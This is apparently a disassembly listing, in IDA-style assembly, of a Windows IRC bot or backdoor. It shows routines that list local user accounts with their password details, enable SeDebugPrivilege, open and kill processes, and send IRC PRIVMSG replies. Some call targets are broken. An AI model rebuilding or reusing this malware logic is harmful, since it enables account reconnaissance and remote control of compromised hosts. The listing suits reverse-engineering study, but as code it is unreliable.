sub_418DAF+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DADF0 lea eax, [eax+eax*2] push off_4389A0[eax*4] push offset unk_4390F8 push esi call sub_41B886 add esp, 0Ch loc_418E74: ; CODE XREF: sub_418DAF+7Bj ; sub_418DAF+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2A add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CAE4C pop edi leave retn sub_418E7B endp ; =============== S U B R O U T I N E ======================================= sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push eax push esi call dword_4CAE3C pop esi retn sub_418ED5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CAFCC test eax, eax mov [ebp+arg_0], eax jnz loc_41929E mov eax, [ebp+var_4] test eax, eax jz loc_4192D9 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419015 dec eax jz short loc_41900E dec eax jz short loc_419007 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419007: ; CODE XREF: sub_418EF6+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418EF6+105j mov eax, offset aUser_1 ; "User" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419015: ; CODE XREF: sub_418EF6+102j mov eax, offset aGuest ; "Guest" loc_41901A: ; CODE XREF: sub_418EF6+10Fj ; sub_418EF6+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 add esp, 20h pop edi pop ebx jmp short loc_4192CA ; --------------------------------------------------------------------------- loc_41929E: ; CODE XREF: sub_418EF6+35j push eax lea eax, [ebp+var_204] push offset unk_439170 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A72 add esp, 20h loc_4192CA: ; CODE XREF: sub_418EF6+3A6j cmp [ebp+var_4], 0 jz short loc_4192D9 push [ebp+var_4] call dword_4CB004 loc_4192D9: ; CODE XREF: sub_418EF6+40j ; sub_418EF6+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2A push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_41931E: ; CODE XREF: sub_4192DF+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CAED4 cmp eax, esi mov [ebp+var_C], eax jz short loc_41937F cmp eax, 0EAh jz short loc_41937F push eax push eax call sub_41945F pop ecx push eax lea eax, [ebp+var_218] push offset unk_439360 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_41937F: ; CODE XREF: sub_4192DF+62j ; sub_4192DF+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940D xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FA loc_419391: ; CODE XREF: sub_4192DF+EDj cmp edi, esi jz short loc_4193D0 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419391 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D0: ; CODE XREF: sub_4192DF+B4j lea eax, [ebp+var_218] push offset unk_43932C push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4193FA: ; CODE XREF: sub_4192DF+9Ej ; sub_4192DF+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940D push edi call dword_4CB004 xor edi, edi mov [ebp+var_4], edi loc_41940D: ; CODE XREF: sub_4192DF+A5j ; sub_4192DF+120j cmp [ebp+var_C], 0EAh jz loc_41931E cmp edi, esi jz short loc_419425 push edi call dword_4CB004 loc_419425: ; CODE XREF: sub_4192DF+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192DF endp ; =============== S U B R O U T I N E ======================================= sub_41945F proc near ; CODE XREF: sub_418A98+41p ; sub_418C8E+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419511 jz loc_41950A cmp eax, 7Bh ja short loc_4194D6 jz short loc_4194CC cmp eax, 5 jz short loc_4194C2 cmp eax, 8 jz short loc_4194B8 cmp eax, 32h jz short loc_4194AE cmp eax, 35h jz short loc_4194A4 cmp eax, 57h jnz loc_419560 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194A4: ; CODE XREF: sub_41945F+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194AE: ; CODE XREF: sub_41945F+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194B8: ; CODE XREF: sub_41945F+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: sub_41945F+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_41945F+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194D6: ; CODE XREF: sub_41945F+1Aj sub eax, 7Ch jz short loc_419503 sub eax, 7C8h jz short loc_4194FC dec eax jz short loc_4194F2 dec eax jnz short loc_419560 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194F2: ; CODE XREF: sub_41945F+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194FC: ; CODE XREF: sub_41945F+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419503: ; CODE XREF: sub_41945F+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_41945F+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_41945F+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954A jz short loc_419543 sub eax, 8ADh jz short loc_419575 dec eax dec eax jz short loc_41953C dec eax jz short loc_419535 dec eax dec eax jnz short loc_419560 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419535: ; CODE XREF: sub_41945F+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41953C: ; CODE XREF: sub_41945F+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419543: ; CODE XREF: sub_41945F+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41954A: ; CODE XREF: sub_41945F+B9j sub eax, 8CAh jz short loc_41957C sub eax, 17h jz short loc_419575 sub eax, 25h jz short loc_41956E sub eax, 29h jz short loc_419567 loc_419560: ; CODE XREF: sub_41945F+35j ; sub_41945F+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419567: ; CODE XREF: sub_41945F+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41956E: ; CODE XREF: sub_41945F+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419575: ; CODE XREF: sub_41945F+C2j ; sub_41945F+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41957C: ; CODE XREF: sub_41945F+F0j push offset aNetworkConnect ; "Network connection not found." loc_419581: ; CODE XREF: sub_41945F+40j ; sub_41945F+4Aj ... push offset dword_4DAB90 call sub_41B886 pop ecx mov eax, offset dword_4DAB90 pop ecx retn sub_41945F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419593 proc near ; CODE XREF: sub_401ACD+4781p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call near ptr 26B0000h nop lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CAF84 test eax, eax jnz short loc_419623 mov esi, offset dword_4DA98C push offset unk_439694 push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964C ; --------------------------------------------------------------------------- loc_419623: ; CODE XREF: sub_419593+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41945F pop ecx mov esi, offset dword_4DA98C push eax push offset dword_439668 push esi call sub_41B886 add esp, 14h loc_41964C: ; CODE XREF: sub_419593+8Ej mov eax, esi pop esi leave retn sub_419593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419651 proc near ; CODE XREF: sub_416F1A+45p ; sub_416F1A+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 2700603h push eax call dword_4CAF58 test eax, eax jnz short loc_419670 leave retn ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_419651+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CAF30 test eax, eax jz short loc_4196AE cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419697 or [ebp+var_8], 2 jmp short loc_41969B ; --------------------------------------------------------------------------- loc_419697: ; CODE XREF: sub_419651+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969B: ; CODE XREF: sub_419651+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CAFE0 mov esi, eax loc_4196AE: ; CODE XREF: sub_419651+32j push [ebp+var_4] call near ptr 26518CEh nop mov eax, esi pop esi leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p ; sub_4198EB+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CAF94, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BB cmp dword_4CAF78, ebx jz loc_4198BB cmp dword_4CAE88, ebx jz loc_4198BB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push ebx push 0Fh call dword_4CAF94 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AE lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CAF78 mov esi, dword_427068 test eax, eax jz loc_4198A9 lea eax, [ebp+var_130] push eax push edi call dword_4CAE88 test eax, eax jz loc_4198A9 mov edi, dword_427084 mov ebx, 1F0FFFh loc_419780: ; CODE XREF: sub_4196BC+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E7 mov [ebp+var_4], offset off_4396C0 loc_41978E: ; CODE XREF: sub_4196BC+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call near ptr 2820000h nop test eax, eax jz short loc_4197B6 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439720 jb short loc_41978E jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197B6: ; CODE XREF: sub_4196BC+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_41988F push 0 push eax call near ptr 26F0B51h nop test eax, eax jnz loc_41988F loc_4197DD: ; CODE XREF: sub_4196BC+1B9j push [ebp+var_4] call esi jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197E7: ; CODE XREF: sub_4196BC+C9j cmp [ebp+arg_C], eax jnz loc_41987A cmp [ebp+arg_4], eax jz loc_41988F push [ebp+var_128] push 8 call dword_4CAF94 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983A lea ecx, [ebp+var_354] push ecx push eax call dword_4CAE34 push [ebp+var_128] test eax, eax jz short loc_419840 lea eax, [ebp+var_234] jmp short loc_419846 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4196BC+15Cj push [ebp+var_128] loc_419840: ; CODE XREF: sub_4196BC+174j lea eax, [ebp+var_10C] loc_419846: ; CODE XREF: sub_4196BC+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h jmp loc_4197DD ; --------------------------------------------------------------------------- loc_41987A: ; CODE XREF: sub_4196BC+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C2 loc_41988F: ; CODE XREF: sub_4196BC+F5j ; sub_4196BC+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CAE88 test eax, eax jnz loc_419780 xor ebx, ebx loc_4198A9: ; CODE XREF: sub_4196BC+9Dj ; sub_4196BC+B3j push [ebp+var_8] call esi loc_4198AE: ; CODE XREF: sub_4196BC+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx loc_4198BB: ; CODE XREF: sub_4196BC+3Aj ; sub_4196BC+46j ... xor eax, eax loc_4198BD: ; CODE XREF: sub_4196BC+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C2: ; CODE XREF: sub_4196BC+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi nop call near ptr 26F0B51h test eax, eax jnz short loc_4198E6 push edi call esi jmp short loc_4198BB ; --------------------------------------------------------------------------- loc_4198E6: ; CODE XREF: sub_4196BC+223j push 1 pop eax jmp short loc_4198BD sub_4196BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_4398C0 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_41994A: ; CODE XREF: sub_4198EB+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BC add esp, 18h test eax, eax jnz short loc_419972 push offset unk_43989C jmp short loc_419977 ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198EB+7Ej push offset unk_439878 loc_419977: ; CODE XREF: sub_4198EB+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_4199AA: ; CODE XREF: sub_4198EB+9Dj lea eax, [ebp+var_298] push eax call sub_4151AC push [ebp+var_14] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26D0000h pop edi pop esi sub_4198EB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p ; sub_40B231+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 26702CAh nop mov esi, eax test esi, esi jz short loc_4199FB push 0 push esi nop call near ptr 26F0B51h test eax, eax jnz short loc_4199FB push esi xor edi, edi nop call near ptr 26518CEh loc_4199FB: ; CODE XREF: sub_4199C9+1Aj ; sub_4199C9+27j mov eax, edi pop edi pop esi retn sub_4199C9 endp ; --------------------------------------------------------------------------- dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h ; DATA XREF: ___:004015EEo dd 4396BCh, 2565E3E8h, 0E3EB9002h ; =============== S U B R O U T I N E ======================================= sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap ; sub_419A88+7Ep ... mov eax, dword_4DB1F8 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A34 push eax call esi loc_419A34: ; CODE XREF: sub_419A20+Fj mov eax, dword_4DB200 cmp eax, 0FFFFFFFFh jz short loc_419A41 push eax call esi loc_419A41: ; CODE XREF: sub_419A20+1Cj mov eax, dword_4DB1F4 cmp eax, 0FFFFFFFFh jz short loc_419A4E push eax call esi loc_419A4E: ; CODE XREF: sub_419A20+29j pop esi retn sub_419A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB1FC nop call near ptr 26E0000h test eax, eax jnz short loc_419A83 call sub_419A20 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_419A50+28j push 1 pop eax leave retn sub_419A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p ; sub_419B0F+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_43D128 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACB push 7D0h nop call near ptr 2670000h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE2 ; --------------------------------------------------------------------------- loc_419ACB: ; CODE XREF: sub_419A88+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE2: ; CODE XREF: sub_419A88+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 test eax, eax jg short loc_419B0B call sub_419A20 loc_419B0B: ; CODE XREF: sub_419A88+7Cj xor eax, eax leave retn sub_419A88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B0F proc near ; DATA XREF: sub_419C64+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB204 loc_419B27: ; CODE XREF: sub_419B0F+79j ; sub_419B0F+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB1F8 nop call near ptr 2820871h test eax, eax jz loc_419BF5 cmp [ebp+var_4], edi jnz short loc_419B8A lea eax, [ebp+var_8] push eax push dword_4DB1F4 nop call near ptr 2820457h test eax, eax jz short loc_419B80 cmp [ebp+var_8], 103h jnz loc_419C19 loc_419B80: ; CODE XREF: sub_419B0F+62j push 0Ah nop call near ptr 2670000h jmp short loc_419B27 ; --------------------------------------------------------------------------- loc_419B8A: ; CODE XREF: sub_419B0F+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA1 loc_419B91: ; CODE XREF: sub_419B0F+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BEF inc eax cmp eax, [ebp+var_4] jb short loc_419B91 loc_419BA1: ; CODE XREF: sub_419B0F+80j mov [ebp+var_4], esi loc_419BA4: ; CODE XREF: sub_419B0F+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB1F8 nop call near ptr 26F0000h test eax, eax jz short loc_419C41 lea eax, [ebp+var_20C] push eax push ebx push dword_4DB238 call sub_419A88 add esp, 0Ch jmp loc_419B27 ; --------------------------------------------------------------------------- loc_419BEF: ; CODE XREF: sub_419B0F+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA4 ; --------------------------------------------------------------------------- 